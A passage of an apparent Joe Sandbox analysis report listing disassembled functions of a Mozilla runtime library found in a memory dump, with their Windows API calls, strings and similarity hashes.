free.MOZGLUE(?,?,?,?,?,?,6CAA4843,?), ref: 6CA646C9
free.MOZGLUE(?), ref: 6CA646EF
free.MOZGLUE(?), ref: 6CA64712
free.MOZGLUE(?), ref: 6CA64735
free.MOZGLUE(?), ref: 6CA64758
free.MOZGLUE(?), ref: 6CA6477B
free.MOZGLUE(?), ref: 6CA6479E

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 5c17c247d46d435337214d8f11badaf66d3b9b6dbbf24b2b52dd3ea77e6efc88
Instruction ID: 248085f41c54b45c6268be1ac3989967f83f77c9c234077fb1770b415da9af88
Opcode Fuzzy Hash: 5c17c247d46d435337214d8f11badaf66d3b9b6dbbf24b2b52dd3ea77e6efc88
Instruction Fuzzy Hash: 9EB1E271A005108FDB18DE3ED9B47AD76B2AF42328F184669E816DBFD6D730D8C48B91

Function 6CA61E90 Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA61EC1
LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA61EE1
EnterCriticalSection.KERNEL32(6CAEE744), ref: 6CA61F38
LeaveCriticalSection.KERNEL32(6CAEE744), ref: 6CA61F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA61F83
LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA61FC0
EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA61FE2
LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA61FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA62019

Strings

D($/, xrefs: 6CA61E9C
MOZ_CRASH(), xrefs: 6CA62000

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()$D($/
API String ID: 2055633661-152137716
Opcode ID: a613c0e904aa1073f4328f708b7d9059d3df923d5fe9a289bd769fd4cc6c3111
Instruction ID: 0b435c2ec1f26ea9b20bc99859ffb2244490077b83f6ada15fe6accc2dbcfd42
Opcode Fuzzy Hash: a613c0e904aa1073f4328f708b7d9059d3df923d5fe9a289bd769fd4cc6c3111
Instruction Fuzzy Hash: 5741F171B0031A8FDF549FAEC888BBA3AB5EF4D308F044126EA0597B44DB7198859BD5

Function 6CA678C0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CAE008B), ref: 6CA67B89
free.MOZGLUE(?,6CAE008B), ref: 6CA67BAC

Part of subcall function 6CA678C0: free.MOZGLUE(?,6CAE008B), ref: 6CA67BCF

free.MOZGLUE(?,6CAE008B), ref: 6CA67BF2

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Strings

D($/, xrefs: 6CA678CF

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID: D($/
API String ID: 3977402767-324952136
Opcode ID: 74f384f1e962216c899ad5dce5ce167ec2c44afb8a628d5633591c04c2ca993a
Instruction ID: c0a3b365a3baad9a6177a8c726646910ffd43373b6105e72c8d51aa7ae0c0412
Opcode Fuzzy Hash: 74f384f1e962216c899ad5dce5ce167ec2c44afb8a628d5633591c04c2ca993a
Instruction Fuzzy Hash: CFC18D71A111288BEB24CB6ACD90B9DB772AF41318F1547A9D41AEBFC0C7319EC98F51

Function 6CAB0F40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAB0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB0F88
GetCurrentThreadId.KERNEL32 ref: 6CAB0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CAB1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CAB10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CAB114B

Part of subcall function 6CAA8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CAC1563), ref: 6CAA8BD5

free.MOZGLUE(?), ref: 6CAB1174
free.MOZGLUE(?), ref: 6CAB1186

Strings

D($/, xrefs: 6CAB0F58

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: D($/
API String ID: 2803333873-324952136
Opcode ID: ea5f74d9273c7a542f5360fd142a417039ce19ac669962860d22941fa8eecf04
Instruction ID: 373b31187e98a974c60eff972cdaffe8c82211697d13c7d94f55b4ac636d3bdc
Opcode Fuzzy Hash: ea5f74d9273c7a542f5360fd142a417039ce19ac669962860d22941fa8eecf04
Instruction Fuzzy Hash: 7761C175A043419FDB10CF24D9807AAB7F9BFC9308F04891DE99A67711EB71E589CB82

Function 6CA77E90 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA77EA7
malloc.MOZGLUE(00000001), ref: 6CA77EB3

Part of subcall function 6CA7CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA7CB49
Part of subcall function 6CA7CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA7CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA77EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA77F19
malloc.MOZGLUE(?), ref: 6CA77F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA77F4D

Strings

d, xrefs: 6CA77F89
D($/, xrefs: 6CA77E9C, 6CA77F2B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d$D($/
API String ID: 204725295-344463260
Opcode ID: 0ca18775c36b0d73168b3c569c467ad8a905295c3ec62e1cae0db13c13e517c9
Instruction ID: 9b435c11ece5c74b3035695dd2f897deaa3f23d769377107586876d0aee95465
Opcode Fuzzy Hash: 0ca18775c36b0d73168b3c569c467ad8a905295c3ec62e1cae0db13c13e517c9
Instruction Fuzzy Hash: 6931F671E0034997DB019B68DD049FEB778FF96208F459628EC4997612FB30B6C9C7A0

Function 6CADB540 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CADB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CADB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CADB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CADB5F4
__Init_thread_footer.LIBCMT ref: 6CADB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CADB61F
std::_Facet_Register.LIBCPMT ref: 6CADB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADB655

Strings

D($/, xrefs: 6CADB54B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID: D($/
API String ID: 1276798925-324952136
Opcode ID: 7d04a01d9f9e914132b422ed710f2554ea6ada123da2cc61ed664189ba5a031b
Instruction ID: 035c865127cde5bf0f0c0459817ca13dc50b5d16bf36d9a21c7cd6105bec6751
Opcode Fuzzy Hash: 7d04a01d9f9e914132b422ed710f2554ea6ada123da2cc61ed664189ba5a031b
Instruction Fuzzy Hash: 7131A471B00306CBCF44DF68E8989AEBBB5FB8E324B154629D91297740DB30A947DBD1

Function 6CA6ECD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA6F100: LoadLibraryW.KERNEL32(shell32,?,6CADD020), ref: 6CA6F122
Part of subcall function 6CA6F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA6F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA6ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA6EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA6EDCC
CreateFileW.KERNEL32 ref: 6CA6EE08
free.MOZGLUE(00000000), ref: 6CA6EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA6EE32

Part of subcall function 6CA6EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA6EBB5
Part of subcall function 6CA6EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA9D7F3), ref: 6CA6EBC3
Part of subcall function 6CA6EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA9D7F3), ref: 6CA6EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA6EDC1
D($/, xrefs: 6CA6ECDC

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-$D($/
API String ID: 1980384892-2269565411
Opcode ID: 6b350aec5b69a26516ffa93203b0c1c6200768359c8a490228e71568dd46703d
Instruction ID: abb0f68d95009f846f3d511fce4bc3d399b64b18834cbdc082dba83651441c72
Opcode Fuzzy Hash: 6b350aec5b69a26516ffa93203b0c1c6200768359c8a490228e71568dd46703d
Instruction Fuzzy Hash: B451CC71D05304DBDB00DF6ACD406AEB7B0AF49318F48852DE8556BB80E730A9C8CBE2

Function 6CADA520 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADA565

Part of subcall function 6CADA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CADA4BE
Part of subcall function 6CADA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CADA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CADA6B6

Strings

0, xrefs: 6CADA5FB
z, xrefs: 6CADA6AE
D($/, xrefs: 6CADA539

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z$D($/
API String ID: 310210123-2480456587
Opcode ID: c4d0e21dbe12d805cbd04c32ad611b707d8751af2c2b3e1516bc7ae007320c29
Instruction ID: 1174e102c14c2c30cc923d6eadc562f3636838d2eca68ae38d85f219bb2115a4
Opcode Fuzzy Hash: c4d0e21dbe12d805cbd04c32ad611b707d8751af2c2b3e1516bc7ae007320c29
Instruction Fuzzy Hash: BE413971919745DFC341DF28C080A8BBBF5BF89354F418A2EF49987650EB30E989CB82

Function 6CAB1D00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAB1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAB1BE3,?,?,6CAB1D96,00000000), ref: 6CAB1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAB1BE3,?,?,6CAB1D96,00000000), ref: 6CAB1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAB1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAB1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAB1DDA

Part of subcall function 6CAB1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAB1F03
Part of subcall function 6CAB1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAB1DF2,00000000,00000000), ref: 6CAB1F0C
Part of subcall function 6CAB1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAB1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAB1DF4

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

Strings

D($/, xrefs: 6CAB1D83

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID: D($/
API String ID: 1880959753-324952136
Opcode ID: 97cdbef2985802c6b8fb7b4e5e4645bad4aaf0a744bb8bdc7c0a8bbdaf07b556
Instruction ID: 5bcffc0448471dbd261ac22210eb9bb430c00c8708efc1b918701084027a3b12
Opcode Fuzzy Hash: 97cdbef2985802c6b8fb7b4e5e4645bad4aaf0a744bb8bdc7c0a8bbdaf07b556
Instruction Fuzzy Hash: 364179B52007059FCB14CF28D889A66BBF9FB49318F10852DEA5A87B41DB31F854CB94

Function 6CA71640 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA71699
VerSetConditionMask.NTDLL ref: 6CA716CB
VerSetConditionMask.NTDLL ref: 6CA716D7
VerSetConditionMask.NTDLL ref: 6CA716DE
VerSetConditionMask.NTDLL ref: 6CA716E5
VerSetConditionMask.NTDLL ref: 6CA716EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA716F9

Strings

D($/, xrefs: 6CA7164C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID: D($/
API String ID: 375572348-324952136
Opcode ID: aeef815b5c822a3ded3daeeff52af3e8dc55823e241ea050466e1297fd256ef6
Instruction ID: f54ca81907d9a78a0b2358304cabfd87bedb82ddb6639380b12e6121ec625b82
Opcode Fuzzy Hash: aeef815b5c822a3ded3daeeff52af3e8dc55823e241ea050466e1297fd256ef6
Instruction Fuzzy Hash: F921D5B07403086BEB256A689C85FFB73BCEFCA704F008528F6059B1C0C6749D948BE1

Function 6CA73E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA73EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA73FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA73CCC), ref: 6CA740C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA74134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA73CCC), ref: 6CA74157

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: d6ca57c828a5a8ffca3b6f077ab41fc5a31867a56173ea170d46f776c9740b4c
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 08A19DB5A01215CFDB50CF68C88065AB7B5FF48308F2A41A9D909AF742D775E986CFA0

Function 6CA648E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CAA483A,?), ref: 6CA64ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CAA483A,?), ref: 6CA64AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CAA483A,?), ref: 6CA64A82

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CAA483A,?), ref: 6CA64A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CAA483A,?), ref: 6CA64A35

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CAA483A,?), ref: 6CA64A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CAA483A,?), ref: 6CA64AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CAA483A,?), ref: 6CA64B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CAA483A,?), ref: 6CA64B2C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 29b5b3cadaadcdd6ce6838fdae1aed15b2d6d66e96efaf04733ffabcf68768a6
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: B7716AB190070A9FCB14CF69C590AAAB7F5FF19308B104A3ED15A9BB41E731E599CB90

Function 6CABDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CABDDCF

Part of subcall function 6CA9FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA9FA4B

Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB90FF
Part of subcall function 6CAB90E0: free.MOZGLUE(?,00000000,?,?,6CABDEDB), ref: 6CAB9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDE0D
free.MOZGLUE(00000000), ref: 6CABDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CABDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAADEFD,?,6CA74A68), ref: 6CABDF32

Part of subcall function 6CABDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CABDB86
Part of subcall function 6CABDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CABDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAADEFD,?,6CA74A68), ref: 6CABDF65
free.MOZGLUE(?), ref: 6CABDF80

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f7aa92272b197f8d3f110c1059fb6830c13283b9ebd5ca948659a341909b8728
Instruction ID: 714d429acc277c9606bf03fa363824929015e4161b352ac447857ac018457997
Opcode Fuzzy Hash: f7aa92272b197f8d3f110c1059fb6830c13283b9ebd5ca948659a341909b8728
Instruction Fuzzy Hash: C651C772E057019BD711CB28C9806AEB37ABF95708F99051CE81A73B04D731F89ACB92

Function 6CA9CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA631A7), ref: 6CA9CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA9CFA4, 6CA9CFB8
<jemalloc>, xrefs: 6CA9CF9F, 6CA9CFB3

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
